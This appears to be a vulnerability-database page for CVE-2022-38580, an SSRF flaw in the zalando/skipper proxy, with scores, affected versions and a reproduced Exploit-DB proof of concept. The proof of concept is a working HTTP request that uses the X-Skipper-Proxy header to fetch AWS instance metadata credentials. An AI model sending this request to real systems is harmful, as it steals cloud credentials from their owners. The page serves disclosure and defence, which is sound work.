CVE-2022-38580

unknown

Published 2022-10-25 · Modified 2024-05-20

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CVSS v3

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CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

1.0

Description

Server-side request forger via X-Skipper-Proxy in github.com/zalando/skipper

Predictions

Exploit likelihood

30%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-51111 remote multiple text · 1 KB

Hosein Vita · 2023-03-28

X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF)

text exploit Source: Exploit-DB

#Exploit Title: X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF)
#Date: 24/10/2022
#Exploit Author: Hosein Vita & Milad Fadavvi
#Vendor Homepage: https://github.com/zalando/skipper
#Software Link: https://github.com/zalando/skipper
#Version: < v0.13.237
#Tested on: Linux
#CVE: CVE-2022-38580


Summary:

Skipper prior to version v0.13.236 is vulnerable to server-side request forgery (SSRF). An attacker can exploit a vulnerable version of proxy to access the internal metadata server or other unauthenticated URLs by adding an specific header (X-Skipper-Proxy) to the http request.


Proof Of Concept:

1- Add header "X-Skipper-Proxy"  to your request
2- Add the aws metadata to the path

GET /latest/meta-data/iam/security-credentials HTTP/1.1
Host: yourskipperdomain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Skipper-Proxy: http://169.254.169.254
Connection: close




Reference:
https://github.com/zalando/skipper/security/advisories/GHSA-f2rj-m42r-6jm2

Package impact

Ecosystem	Package	Vulnerable	Fixed
Go	github.com/zalando/skipper	`<0.13.237`	`0.13.237`

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.